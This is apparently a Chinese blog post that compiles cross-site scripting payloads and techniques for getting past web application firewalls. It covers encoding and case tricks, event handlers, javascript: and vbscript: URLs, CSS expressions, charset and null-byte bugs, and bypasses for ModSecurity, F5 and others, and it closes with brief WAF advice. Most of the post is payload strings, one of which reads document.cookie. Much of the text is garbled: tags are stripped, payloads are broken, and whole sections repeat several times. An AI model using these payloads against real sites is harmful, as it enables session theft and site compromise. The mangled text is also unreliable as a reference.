番茄系统家园 · 2022-03-10 07:06:29
我们友情进行XSS检查,偶然跳出个小弹窗,其中我们总结了一些平时可能用到的XSS插入方式,方便我们以后进行快速检查,也提供了一定的思路,其中XSS有反射、存储、DOM这三类,至于具体每个类别的异同之处,本文不做学术介绍,直接介绍实际的插入方式。
四种超级基础的绕过方法。 1.转换为ASCII码 例子:原脚本为 通过转换,变成: 2.转换为HEX(十六进制) 例子:原脚本为 通过转换,变成: %3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e 3.转换脚本的大小写 例子:原脚本为 转换为: 4.增加闭合标记”> 例子:原脚本为 转换为:”> 更详细绕过技术请参考此网页 转换工具使用的是火狐的 hackbar mozilla addon.
绕过进行一次移除操作:ipt>alert("XSS")
我们可以像如下这样在元素中定义 JavaScript 事件:这个 JavaScript 代码当有人点击它后就会被执行,同时还有其他事件如页面加载或移动鼠标都可以触发这些事件。绝大部分的时间都被过滤器所移除了,但是依旧还有少量事件没有被过滤,例如,onmouseenter 事件:当用户鼠标移动到 div 上时就会触发我们的代码。另一个绕过的办法就是在属性和= 之间插入一个空格: 3 行内样式(Inline style) 我们同样可以在行内样式里利用 IE 浏览器支持的动态特性:过滤器会检查关键字 style,随后跟随的不能是 /style=[^((expression\s?([^?))|(behavior\s:))[^)/Uis所以,让我们需要把 4 CSS import IE 浏览器支持在 CSS 中扩展 JavaScript,这种技术称为动态特性(dynamic properties)。允许攻击者加载一个外部 CSS 样式表是相当危险的,因为攻击者现在可以在原始页面中执行 JavaScript 代码了。malicious.css:body { color: expression(alert('XSS'));}为了绕过对 @import 的过滤,可以在 CSS 中使用反斜杠进行绕过:IE 浏览器会接受反斜杠,但是我们绕过了过滤器。 5 Javascript URL 链接标签里可以通过在 URL 中使用 javascript:… 来执行 JavaScript:link上面的过滤会从代码中移除 javascript:,所以我们不能直接这么写代码。但我们可以尝试改变 javascript:的写法,使它依旧可以被浏览器执行但又不匹配正则表达式。首先来尝试下 URL 编码:link上面这段代码不匹配正则表达式,但是浏览器依旧会执行它,因为浏览器会首先进行 URL 解码操作。另外,我们还可以使用 VBScript,虽然它在 IE11 中被禁用了,但依旧可以运行在旧版本的 IE 或者启用兼容模式的 IE11 上。我们可以使用类似上面 JavaScript 的方式来插入 VBScript 代码:link'-confirm1-' '-confirm(1)-' 1 利用字符编码 %c1;alert(/xss/);// 2 绕过长度限制 "onclick=alert(1)//"> 3 使用标签 MMMMMMformaction=javascript:alert(21)>MMM 29onscroll=alert(26)> 0x03 规则探测及绕过 1 WAF规则探测 1、使用无害的payload,类似,,观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过滤等等;2、如果过滤闭合标签,尝试无闭合标签的payload(3、尝试以下的payload 2 大小写混合字符 1、如果大小写不行的话, 3 测试其他标签 src属性iframeEmbedActionmario验证 ='data:text/html,<script>alert(1)</script>'>CLICK“formaction”属性 CLICKME“background”属性 // Works on Opera 10.5 and IE6“posters” 属性 // Works Upto Opera 10.5“data”属性“code”属性 // Firefox Only事件处理/短payload // Useful in-case of payload restrictions.嵌套欺骗/onstart=confirm(1)>Save // Works with IE8圆括号被过滤Expression 属性 // Works upto IE7. // Works upto IE7. // Works upto IE7“location”属性click // By @secalert // By Mario // By @secalertclick // By Ashar Javed();:被过滤 // Works With All Browsers( is html encoded to ( ) is html encoded to )Opera的变量Hello编码JavaScript是很灵活的语言,可以使用十六进制、Unicode、HTML等进行编码,以下属性可以被编码(支持HTML, Octal, Decimal,Hexadecimal, and Unicode)href=action=formaction=location=on*=name=background=poster=src=code=data= //只支持base64 4 基于上下文的过滤 WAF最大的问题是不能理解内容,使用黑名单可以阻挡独立的js脚本,但仍不能对xss提供足够的保护,如果一个反射型的XSS是下面这种形式 1 输入反射属性 我们可以使用 “>触发,但是如果被过滤,我们仍然可以使用“ autofocusonfocus=alert(1)//触发,基本是使用“ 关闭value属性,再加入我们的执行脚本" onmouseover="prompt(0) x="" onfocusin=alert(1) autofocus x="" onfocusout=alert(1) autofocus x="" onblur=alert(1) autofocus a="输入反射在通常,我们使用“>,闭合前面的标签,然而在这种情况,我们也可以直接输入执行脚本alert(), prompt()confirm() ,例如:“;alert(1)// 2 非常规事件监听 DOMfocusin,DOMfocusout,等事件,这些需要特定的事件监听适当的执行。例如:";document.body.addEventListener("DOMActivate",alert(1))//";document.body.addEventListener("DOMActivate",prompt(1))//";document.body.addEventListener("DOMActivate",confirm(1))//此类事件的列表DOMAttrModifiedDOMCharacterDataModifiedDOMFocusInDOMFocusOutDOMMouseScrollDOMNodeInsertedDOMNodeInsertedIntoDocumentDOMNodeRemovedDOMNodeRemovedFromDocumentDOMSubtreeModified 3 超文本内容 代码中的情况如下href=”Userinput”>Click可以使用javascript:alert(1)//直接执行href=”javascript:alert(1)//”>Click 4 变形 主要包含大小写和JavaScript变形javascript:alert(1)javaSCRIPT:alert(1)JaVaScRipT:alert(1)javas	cript:\u0061lert(1);javascript:\u0061lert(1)avascript:alert(document.cookie) // AsharJavedIE10以下和URI中可以使用VBScriptvbscript:alert(1);vbscript:alert(1);vbscr	ipt:alert(1)"Data URldata:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== 5 JSON内容 反射输入encodeURIComponent('userinput')可以使用-alert(1)--prompt(1)--confirm(1)-结果encodeURIComponent(''-alert(1)-'')encodeURIComponent(''-prompt(1)-'') 6 输入反射在svg标签内 源码如下:可以输入www.site.com/test.php?var=text”;alert(1)//如果系统编码了”字符原因是引入了附加的(XML)到HTML内容里,可以使用2次编码处理浏览器BUG 7 字符集BUG 字符集BUG在IE中很普遍,最早的bug是UTF-7。如果能控制字符集编码,我们可以绕过99% 的WAF过滤。示例http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS可以控制编码,提交http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=”>src=x onerror=prompt(0);>可以修改为UTF-32编码形式???script?alert(1)?/script?http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80 8 空字节 最长用来绕过mod_security防火墙,形式如下:alert(1);%00pt>alert(1);%00pt>confirm(0);%00c%00r%00%00ip%00t>空字节只适用于PHP 5.3.8以上的版本 9 语法BUG RFC声明中节点名称不能是空格,以下的形式在javascript中不能运行alert(1);alert(1);/ style=x:expression\28write(1)\29> // Works upto IE7 参考http://html5sec.org/#71 // Works upto IE9 参考http://html5sec.org/#115 // Works in IE7 参考 http://html5sec.org/#77 // Works Upto IE7 10 Unicode分隔符 [on\w+\s*]这个规则过滤了所有on事件,为了验证每个浏览器中有效的分隔符,可以使用fuzzing方法测试0×00到0xff,结果如下:IExplorer= [0x09,0x0B,0x0C,0x20,0x3B]Chrome = [0x09,0x20,0x28,0x2C,0x3B]Safari = [0x2C,0x3B]FireFox= [0x09,0x20,0x28,0x2C,0x3B]Opera = [0x09,0x20,0x2C,0x3B]Android = [0x09,0x20,0x28,0x2C,0x3B]x0b在Mod_security中已经被过滤,绕过的方法:rhainfosec 11 缺少X-frame选项 通常会认为X-frame是用来防护点击劫持的配置,其实也可以防护使用iframe引用的xss漏洞DocmodesIE引入了doc-mode很长时间,提供给老版本浏览器的后端兼容性,有风险,攻击情景是黑客可以引用你站点的框架,他可以引入doc-mode执行css表达式expression(open(alert(1)))以下POC可以插入到IE7中 12 Window.name欺骗 情景:我们用iframe加载一个页面,我们可以控制窗口的名称,这里也可以执行javascript代码POCname="javascript:alert("XSS")">DOM型XSS服务器不支持过滤DOM型的XSS,因为DOM型XSS总是在客户端执行,看一个例子:在一些情况下,反射型XSS可以转换成DOM型XSS:http://www.target.com/xss.php?foo=上面的POC只在[.+都被允许的情况下适用,可以使用location.hash注入任何不允许的编码Location.hash[1] = : // Defined at the first position after the hash.Location.hash[2]= ( // Defined at the second position after the hasLocation.hash[3] = ) // Defined at third position after the hash.如果有客户端过滤可能不适用 13 ModSecurity绕过 confirm(0);%00pt>rhainfosec参考http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html 5 WEB KNIGHT绕过 F5 BIG IP ASM and Palo ALTO绕过 //IE6或者低版本Opera “/>aDot Defender绕过 0x04结论 黑名单方式永远不是最好的解决办法,但是相对与白名单效率很高,对于WAF供应商来说,最好的实践如下:1、开发者和管理员要注意WAF只能缓解攻击,并且针对已知的弱点的防护只是和源代码修复的方法打个时间差;2、要保持WAF的规则库更新;3、WAF可以配置参数限制,需要提供手册用于配置参数content-length最大最小长度,content-type类型,在入侵时进行告警; 4、如果WAF依据黑名单,要确保可以阻断已知的浏览器BUG,并且相应规则库要及时更新。
我们同样可以在行内样式里利用 IE 浏览器支持的动态特性:过滤器会检查关键字 style,随后跟随的不能是 /style=[^((expression\s?([^?))|(behavior\s:))[^)/Uis所以,让我们需要把 4 CSS import IE 浏览器支持在 CSS 中扩展 JavaScript,这种技术称为动态特性(dynamic properties)。允许攻击者加载一个外部 CSS 样式表是相当危险的,因为攻击者现在可以在原始页面中执行 JavaScript 代码了。malicious.css:body { color: expression(alert('XSS'));}为了绕过对 @import 的过滤,可以在 CSS 中使用反斜杠进行绕过:IE 浏览器会接受反斜杠,但是我们绕过了过滤器。 5 Javascript URL 链接标签里可以通过在 URL 中使用 javascript:… 来执行 JavaScript:link上面的过滤会从代码中移除 javascript:,所以我们不能直接这么写代码。但我们可以尝试改变 javascript:的写法,使它依旧可以被浏览器执行但又不匹配正则表达式。首先来尝试下 URL 编码:link上面这段代码不匹配正则表达式,但是浏览器依旧会执行它,因为浏览器会首先进行 URL 解码操作。另外,我们还可以使用 VBScript,虽然它在 IE11 中被禁用了,但依旧可以运行在旧版本的 IE 或者启用兼容模式的 IE11 上。我们可以使用类似上面 JavaScript 的方式来插入 VBScript 代码:link'-confirm1-' '-confirm(1)-' 1 利用字符编码 %c1;alert(/xss/);// 2 绕过长度限制 "onclick=alert(1)//"> 3 使用标签 MMMMMMformaction=javascript:alert(21)>MMM 29onscroll=alert(26)> 0x03 规则探测及绕过 1 WAF规则探测 1、使用无害的payload,类似,,观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过滤等等;2、如果过滤闭合标签,尝试无闭合标签的payload(3、尝试以下的payload 2 大小写混合字符 1、如果大小写不行的话, 3 测试其他标签 src属性iframeEmbedActionmario验证 ='data:text/html,<script>alert(1)</script>'>CLICK“formaction”属性 CLICKME“background”属性 // Works on Opera 10.5 and IE6“posters” 属性 // Works Upto Opera 10.5“data”属性“code”属性 // Firefox Only事件处理/短payload // Useful in-case of payload restrictions.嵌套欺骗/onstart=confirm(1)>Save // Works with IE8圆括号被过滤Expression 属性 // Works upto IE7. // Works upto IE7. // Works upto IE7“location”属性click // By @secalert // By Mario // By @secalertclick // By Ashar Javed();:被过滤 // Works With All Browsers( is html encoded to ( ) is html encoded to )Opera的变量Hello编码JavaScript是很灵活的语言,可以使用十六进制、Unicode、HTML等进行编码,以下属性可以被编码(支持HTML, Octal, Decimal,Hexadecimal, and Unicode)href=action=formaction=location=on*=name=background=poster=src=code=data= //只支持base64 4 基于上下文的过滤 WAF最大的问题是不能理解内容,使用黑名单可以阻挡独立的js脚本,但仍不能对xss提供足够的保护,如果一个反射型的XSS是下面这种形式 1 输入反射属性 我们可以使用 “>触发,但是如果被过滤,我们仍然可以使用“ autofocusonfocus=alert(1)//触发,基本是使用“ 关闭value属性,再加入我们的执行脚本" onmouseover="prompt(0) x="" onfocusin=alert(1) autofocus x="" onfocusout=alert(1) autofocus x="" onblur=alert(1) autofocus a="输入反射在通常,我们使用“>,闭合前面的标签,然而在这种情况,我们也可以直接输入执行脚本alert(), prompt()confirm() ,例如:“;alert(1)// 2 非常规事件监听 DOMfocusin,DOMfocusout,等事件,这些需要特定的事件监听适当的执行。例如:";document.body.addEventListener("DOMActivate",alert(1))//";document.body.addEventListener("DOMActivate",prompt(1))//";document.body.addEventListener("DOMActivate",confirm(1))//此类事件的列表DOMAttrModifiedDOMCharacterDataModifiedDOMFocusInDOMFocusOutDOMMouseScrollDOMNodeInsertedDOMNodeInsertedIntoDocumentDOMNodeRemovedDOMNodeRemovedFromDocumentDOMSubtreeModified 3 超文本内容 代码中的情况如下href=”Userinput”>Click可以使用javascript:alert(1)//直接执行href=”javascript:alert(1)//”>Click 4 变形 主要包含大小写和JavaScript变形javascript:alert(1)javaSCRIPT:alert(1)JaVaScRipT:alert(1)javas	cript:\u0061lert(1);javascript:\u0061lert(1)avascript:alert(document.cookie) // AsharJavedIE10以下和URI中可以使用VBScriptvbscript:alert(1);vbscript:alert(1);vbscr	ipt:alert(1)"Data URldata:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== 5 JSON内容 反射输入encodeURIComponent('userinput')可以使用-alert(1)--prompt(1)--confirm(1)-结果encodeURIComponent(''-alert(1)-'')encodeURIComponent(''-prompt(1)-'') 6 输入反射在svg标签内 源码如下:可以输入www.site.com/test.php?var=text”;alert(1)//如果系统编码了”字符原因是引入了附加的(XML)到HTML内容里,可以使用2次编码处理浏览器BUG 7 字符集BUG 字符集BUG在IE中很普遍,最早的bug是UTF-7。如果能控制字符集编码,我们可以绕过99% 的WAF过滤。示例http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS可以控制编码,提交http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=”>src=x onerror=prompt(0);>可以修改为UTF-32编码形式???script?alert(1)?/script?http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80 8 空字节 最长用来绕过mod_security防火墙,形式如下:alert(1);%00pt>alert(1);%00pt>confirm(0);%00c%00r%00%00ip%00t>空字节只适用于PHP 5.3.8以上的版本 9 语法BUG RFC声明中节点名称不能是空格,以下的形式在javascript中不能运行alert(1);alert(1);/ style=x:expression\28write(1)\29> // Works upto IE7 参考http://html5sec.org/#71 // Works upto IE9 参考http://html5sec.org/#115 // Works in IE7 参考 http://html5sec.org/#77 // Works Upto IE7 10 Unicode分隔符 [on\w+\s*]这个规则过滤了所有on事件,为了验证每个浏览器中有效的分隔符,可以使用fuzzing方法测试0×00到0xff,结果如下:IExplorer= [0x09,0x0B,0x0C,0x20,0x3B]Chrome = [0x09,0x20,0x28,0x2C,0x3B]Safari = [0x2C,0x3B]FireFox= [0x09,0x20,0x28,0x2C,0x3B]Opera = [0x09,0x20,0x2C,0x3B]Android = [0x09,0x20,0x28,0x2C,0x3B]x0b在Mod_security中已经被过滤,绕过的方法:rhainfosec 11 缺少X-frame选项 通常会认为X-frame是用来防护点击劫持的配置,其实也可以防护使用iframe引用的xss漏洞DocmodesIE引入了doc-mode很长时间,提供给老版本浏览器的后端兼容性,有风险,攻击情景是黑客可以引用你站点的框架,他可以引入doc-mode执行css表达式expression(open(alert(1)))以下POC可以插入到IE7中 12 Window.name欺骗 情景:我们用iframe加载一个页面,我们可以控制窗口的名称,这里也可以执行javascript代码POCname="javascript:alert("XSS")">DOM型XSS服务器不支持过滤DOM型的XSS,因为DOM型XSS总是在客户端执行,看一个例子:在一些情况下,反射型XSS可以转换成DOM型XSS:http://www.target.com/xss.php?foo=上面的POC只在[.+都被允许的情况下适用,可以使用location.hash注入任何不允许的编码Location.hash[1] = : // Defined at the first position after the hash.Location.hash[2]= ( // Defined at the second position after the hasLocation.hash[3] = ) // Defined at third position after the hash.如果有客户端过滤可能不适用 13 ModSecurity绕过 confirm(0);%00pt>rhainfosec参考http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html 5 WEB KNIGHT绕过 F5 BIG IP ASM and Palo ALTO绕过 //IE6或者低版本Opera “/>aDot Defender绕过 0x04结论 黑名单方式永远不是最好的解决办法,但是相对与白名单效率很高,对于WAF供应商来说,最好的实践如下:1、开发者和管理员要注意WAF只能缓解攻击,并且针对已知的弱点的防护只是和源代码修复的方法打个时间差;2、要保持WAF的规则库更新;3、WAF可以配置参数限制,需要提供手册用于配置参数content-length最大最小长度,content-type类型,在入侵时进行告警; 4、如果WAF依据黑名单,要确保可以阻断已知的浏览器BUG,并且相应规则库要及时更新。
IE 浏览器支持在 CSS 中扩展 JavaScript,这种技术称为动态特性(dynamic properties)。允许攻击者加载一个外部 CSS 样式表是相当危险的,因为攻击者现在可以在原始页面中执行 JavaScript 代码了。malicious.css:body { color: expression(alert('XSS'));}为了绕过对 @import 的过滤,可以在 CSS 中使用反斜杠进行绕过:IE 浏览器会接受反斜杠,但是我们绕过了过滤器。
链接标签里可以通过在 URL 中使用 javascript:… 来执行 JavaScript:link上面的过滤会从代码中移除 javascript:,所以我们不能直接这么写代码。但我们可以尝试改变 javascript:的写法,使它依旧可以被浏览器执行但又不匹配正则表达式。首先来尝试下 URL 编码:link上面这段代码不匹配正则表达式,但是浏览器依旧会执行它,因为浏览器会首先进行 URL 解码操作。另外,我们还可以使用 VBScript,虽然它在 IE11 中被禁用了,但依旧可以运行在旧版本的 IE 或者启用兼容模式的 IE11 上。我们可以使用类似上面 JavaScript 的方式来插入 VBScript 代码:link'-confirm1-'
'-confirm(1)-'
%c1;alert(/xss/);//
"onclick=alert(1)//">
MMMMMMformaction=javascript:alert(21)>MMM 29onscroll=alert(26)> 0x03 规则探测及绕过 1 WAF规则探测 1、使用无害的payload,类似,,观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过滤等等;2、如果过滤闭合标签,尝试无闭合标签的payload(3、尝试以下的payload 2 大小写混合字符 1、如果大小写不行的话, 3 测试其他标签 src属性iframeEmbedActionmario验证 ='data:text/html,<script>alert(1)</script>'>CLICK“formaction”属性 CLICKME“background”属性 // Works on Opera 10.5 and IE6“posters” 属性 // Works Upto Opera 10.5“data”属性“code”属性 // Firefox Only事件处理/短payload // Useful in-case of payload restrictions.嵌套欺骗/onstart=confirm(1)>Save // Works with IE8圆括号被过滤Expression 属性 // Works upto IE7. // Works upto IE7. // Works upto IE7“location”属性click // By @secalert // By Mario // By @secalertclick // By Ashar Javed();:被过滤 // Works With All Browsers( is html encoded to ( ) is html encoded to )Opera的变量Hello编码JavaScript是很灵活的语言,可以使用十六进制、Unicode、HTML等进行编码,以下属性可以被编码(支持HTML, Octal, Decimal,Hexadecimal, and Unicode)href=action=formaction=location=on*=name=background=poster=src=code=data= //只支持base64 4 基于上下文的过滤 WAF最大的问题是不能理解内容,使用黑名单可以阻挡独立的js脚本,但仍不能对xss提供足够的保护,如果一个反射型的XSS是下面这种形式 1 输入反射属性 我们可以使用 “>触发,但是如果被过滤,我们仍然可以使用“ autofocusonfocus=alert(1)//触发,基本是使用“ 关闭value属性,再加入我们的执行脚本" onmouseover="prompt(0) x="" onfocusin=alert(1) autofocus x="" onfocusout=alert(1) autofocus x="" onblur=alert(1) autofocus a="输入反射在通常,我们使用“>,闭合前面的标签,然而在这种情况,我们也可以直接输入执行脚本alert(), prompt()confirm() ,例如:“;alert(1)// 2 非常规事件监听 DOMfocusin,DOMfocusout,等事件,这些需要特定的事件监听适当的执行。例如:";document.body.addEventListener("DOMActivate",alert(1))//";document.body.addEventListener("DOMActivate",prompt(1))//";document.body.addEventListener("DOMActivate",confirm(1))//此类事件的列表DOMAttrModifiedDOMCharacterDataModifiedDOMFocusInDOMFocusOutDOMMouseScrollDOMNodeInsertedDOMNodeInsertedIntoDocumentDOMNodeRemovedDOMNodeRemovedFromDocumentDOMSubtreeModified 3 超文本内容 代码中的情况如下href=”Userinput”>Click可以使用javascript:alert(1)//直接执行href=”javascript:alert(1)//”>Click 4 变形 主要包含大小写和JavaScript变形javascript:alert(1)javaSCRIPT:alert(1)JaVaScRipT:alert(1)javas	cript:\u0061lert(1);javascript:\u0061lert(1)avascript:alert(document.cookie) // AsharJavedIE10以下和URI中可以使用VBScriptvbscript:alert(1);vbscript:alert(1);vbscr	ipt:alert(1)"Data URldata:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== 5 JSON内容 反射输入encodeURIComponent('userinput')可以使用-alert(1)--prompt(1)--confirm(1)-结果encodeURIComponent(''-alert(1)-'')encodeURIComponent(''-prompt(1)-'') 6 输入反射在svg标签内 源码如下:可以输入www.site.com/test.php?var=text”;alert(1)//如果系统编码了”字符原因是引入了附加的(XML)到HTML内容里,可以使用2次编码处理浏览器BUG 7 字符集BUG 字符集BUG在IE中很普遍,最早的bug是UTF-7。如果能控制字符集编码,我们可以绕过99% 的WAF过滤。示例http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS可以控制编码,提交http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=”>src=x onerror=prompt(0);>可以修改为UTF-32编码形式???script?alert(1)?/script?http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80 8 空字节 最长用来绕过mod_security防火墙,形式如下:alert(1);%00pt>alert(1);%00pt>confirm(0);%00c%00r%00%00ip%00t>空字节只适用于PHP 5.3.8以上的版本 9 语法BUG RFC声明中节点名称不能是空格,以下的形式在javascript中不能运行alert(1);alert(1);/ style=x:expression\28write(1)\29> // Works upto IE7 参考http://html5sec.org/#71 // Works upto IE9 参考http://html5sec.org/#115 // Works in IE7 参考 http://html5sec.org/#77 // Works Upto IE7 10 Unicode分隔符 [on\w+\s*]这个规则过滤了所有on事件,为了验证每个浏览器中有效的分隔符,可以使用fuzzing方法测试0×00到0xff,结果如下:IExplorer= [0x09,0x0B,0x0C,0x20,0x3B]Chrome = [0x09,0x20,0x28,0x2C,0x3B]Safari = [0x2C,0x3B]FireFox= [0x09,0x20,0x28,0x2C,0x3B]Opera = [0x09,0x20,0x2C,0x3B]Android = [0x09,0x20,0x28,0x2C,0x3B]x0b在Mod_security中已经被过滤,绕过的方法:rhainfosec 11 缺少X-frame选项 通常会认为X-frame是用来防护点击劫持的配置,其实也可以防护使用iframe引用的xss漏洞DocmodesIE引入了doc-mode很长时间,提供给老版本浏览器的后端兼容性,有风险,攻击情景是黑客可以引用你站点的框架,他可以引入doc-mode执行css表达式expression(open(alert(1)))以下POC可以插入到IE7中 12 Window.name欺骗 情景:我们用iframe加载一个页面,我们可以控制窗口的名称,这里也可以执行javascript代码POCname="javascript:alert("XSS")">DOM型XSS服务器不支持过滤DOM型的XSS,因为DOM型XSS总是在客户端执行,看一个例子:在一些情况下,反射型XSS可以转换成DOM型XSS:http://www.target.com/xss.php?foo=上面的POC只在[.+都被允许的情况下适用,可以使用location.hash注入任何不允许的编码Location.hash[1] = : // Defined at the first position after the hash.Location.hash[2]= ( // Defined at the second position after the hasLocation.hash[3] = ) // Defined at third position after the hash.如果有客户端过滤可能不适用 13 ModSecurity绕过 confirm(0);%00pt>rhainfosec参考http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html 5 WEB KNIGHT绕过 F5 BIG IP ASM and Palo ALTO绕过 //IE6或者低版本Opera “/>aDot Defender绕过 0x04结论 黑名单方式永远不是最好的解决办法,但是相对与白名单效率很高,对于WAF供应商来说,最好的实践如下:1、开发者和管理员要注意WAF只能缓解攻击,并且针对已知的弱点的防护只是和源代码修复的方法打个时间差;2、要保持WAF的规则库更新;3、WAF可以配置参数限制,需要提供手册用于配置参数content-length最大最小长度,content-type类型,在入侵时进行告警; 4、如果WAF依据黑名单,要确保可以阻断已知的浏览器BUG,并且相应规则库要及时更新。
1、使用无害的payload,类似,,观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过滤等等;2、如果过滤闭合标签,尝试无闭合标签的payload(3、尝试以下的payload
1、如果大小写不行的话,
src属性iframeEmbedActionmario验证 ='data:text/html,<script>alert(1)</script>'>CLICK“formaction”属性 CLICKME“background”属性 // Works on Opera 10.5 and IE6“posters” 属性 // Works Upto Opera 10.5“data”属性“code”属性 // Firefox Only事件处理/短payload // Useful in-case of payload restrictions.嵌套欺骗/onstart=confirm(1)>Save // Works with IE8圆括号被过滤Expression 属性 // Works upto IE7. // Works upto IE7. // Works upto IE7“location”属性click // By @secalert // By Mario // By @secalertclick // By Ashar Javed();:被过滤 // Works With All Browsers( is html encoded to ( ) is html encoded to )Opera的变量Hello编码JavaScript是很灵活的语言,可以使用十六进制、Unicode、HTML等进行编码,以下属性可以被编码(支持HTML, Octal, Decimal,Hexadecimal, and Unicode)href=action=formaction=location=on*=name=background=poster=src=code=data= //只支持base64
// Useful in-case of payload restrictions.嵌套欺骗/onstart=confirm(1)>Save // Works with IE8圆括号被过滤Expression 属性 // Works upto IE7. // Works upto IE7. // Works upto IE7“location”属性click // By @secalert // By Mario // By @secalertclick // By Ashar Javed();:被过滤 // Works With All Browsers( is html encoded to ( ) is html encoded to )Opera的变量Hello编码JavaScript是很灵活的语言,可以使用十六进制、Unicode、HTML等进行编码,以下属性可以被编码(支持HTML, Octal, Decimal,Hexadecimal, and Unicode)href=action=formaction=location=on*=name=background=poster=src=code=data= //只支持base64
WAF最大的问题是不能理解内容,使用黑名单可以阻挡独立的js脚本,但仍不能对xss提供足够的保护,如果一个反射型的XSS是下面这种形式
我们可以使用 “>触发,但是如果被过滤,我们仍然可以使用“ autofocusonfocus=alert(1)//触发,基本是使用“ 关闭value属性,再加入我们的执行脚本" onmouseover="prompt(0) x="" onfocusin=alert(1) autofocus x="" onfocusout=alert(1) autofocus x="" onblur=alert(1) autofocus a="输入反射在通常,我们使用“>,闭合前面的标签,然而在这种情况,我们也可以直接输入执行脚本alert(), prompt()confirm() ,例如:“;alert(1)//
DOMfocusin,DOMfocusout,等事件,这些需要特定的事件监听适当的执行。例如:";document.body.addEventListener("DOMActivate",alert(1))//";document.body.addEventListener("DOMActivate",prompt(1))//";document.body.addEventListener("DOMActivate",confirm(1))//此类事件的列表DOMAttrModifiedDOMCharacterDataModifiedDOMFocusInDOMFocusOutDOMMouseScrollDOMNodeInsertedDOMNodeInsertedIntoDocumentDOMNodeRemovedDOMNodeRemovedFromDocumentDOMSubtreeModified
代码中的情况如下href=”Userinput”>Click可以使用javascript:alert(1)//直接执行href=”javascript:alert(1)//”>Click
主要包含大小写和JavaScript变形javascript:alert(1)javaSCRIPT:alert(1)JaVaScRipT:alert(1)javas	cript:\u0061lert(1);javascript:\u0061lert(1)avascript:alert(document.cookie) // AsharJavedIE10以下和URI中可以使用VBScriptvbscript:alert(1);vbscript:alert(1);vbscr	ipt:alert(1)"Data URldata:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
反射输入encodeURIComponent('userinput')可以使用-alert(1)--prompt(1)--confirm(1)-结果encodeURIComponent(''-alert(1)-'')encodeURIComponent(''-prompt(1)-'')
源码如下:可以输入www.site.com/test.php?var=text”;alert(1)//如果系统编码了”字符原因是引入了附加的(XML)到HTML内容里,可以使用2次编码处理浏览器BUG
字符集BUG在IE中很普遍,最早的bug是UTF-7。如果能控制字符集编码,我们可以绕过99% 的WAF过滤。示例http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS可以控制编码,提交http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=”>src=x onerror=prompt(0);>可以修改为UTF-32编码形式???script?alert(1)?/script?http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
最长用来绕过mod_security防火墙,形式如下:alert(1);%00pt>alert(1);%00pt>confirm(0);%00c%00r%00%00ip%00t>空字节只适用于PHP 5.3.8以上的版本
RFC声明中节点名称不能是空格,以下的形式在javascript中不能运行alert(1);alert(1);/ style=x:expression\28write(1)\29> // Works upto IE7 参考http://html5sec.org/#71 // Works upto IE9 参考http://html5sec.org/#115 // Works in IE7 参考 http://html5sec.org/#77 // Works Upto IE7
[on\w+\s*]这个规则过滤了所有on事件,为了验证每个浏览器中有效的分隔符,可以使用fuzzing方法测试0×00到0xff,结果如下:IExplorer= [0x09,0x0B,0x0C,0x20,0x3B]Chrome = [0x09,0x20,0x28,0x2C,0x3B]Safari = [0x2C,0x3B]FireFox= [0x09,0x20,0x28,0x2C,0x3B]Opera = [0x09,0x20,0x2C,0x3B]Android = [0x09,0x20,0x28,0x2C,0x3B]x0b在Mod_security中已经被过滤,绕过的方法:rhainfosec
通常会认为X-frame是用来防护点击劫持的配置,其实也可以防护使用iframe引用的xss漏洞DocmodesIE引入了doc-mode很长时间,提供给老版本浏览器的后端兼容性,有风险,攻击情景是黑客可以引用你站点的框架,他可以引入doc-mode执行css表达式expression(open(alert(1)))以下POC可以插入到IE7中
情景:我们用iframe加载一个页面,我们可以控制窗口的名称,这里也可以执行javascript代码POCname="javascript:alert("XSS")">DOM型XSS服务器不支持过滤DOM型的XSS,因为DOM型XSS总是在客户端执行,看一个例子:在一些情况下,反射型XSS可以转换成DOM型XSS:http://www.target.com/xss.php?foo=上面的POC只在[.+都被允许的情况下适用,可以使用location.hash注入任何不允许的编码Location.hash[1] = : // Defined at the first position after the hash.Location.hash[2]= ( // Defined at the second position after the hasLocation.hash[3] = ) // Defined at third position after the hash.如果有客户端过滤可能不适用
confirm(0);%00pt>rhainfosec参考http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html
F5 BIG IP ASM and Palo ALTO绕过 //IE6或者低版本Opera “/>aDot Defender绕过
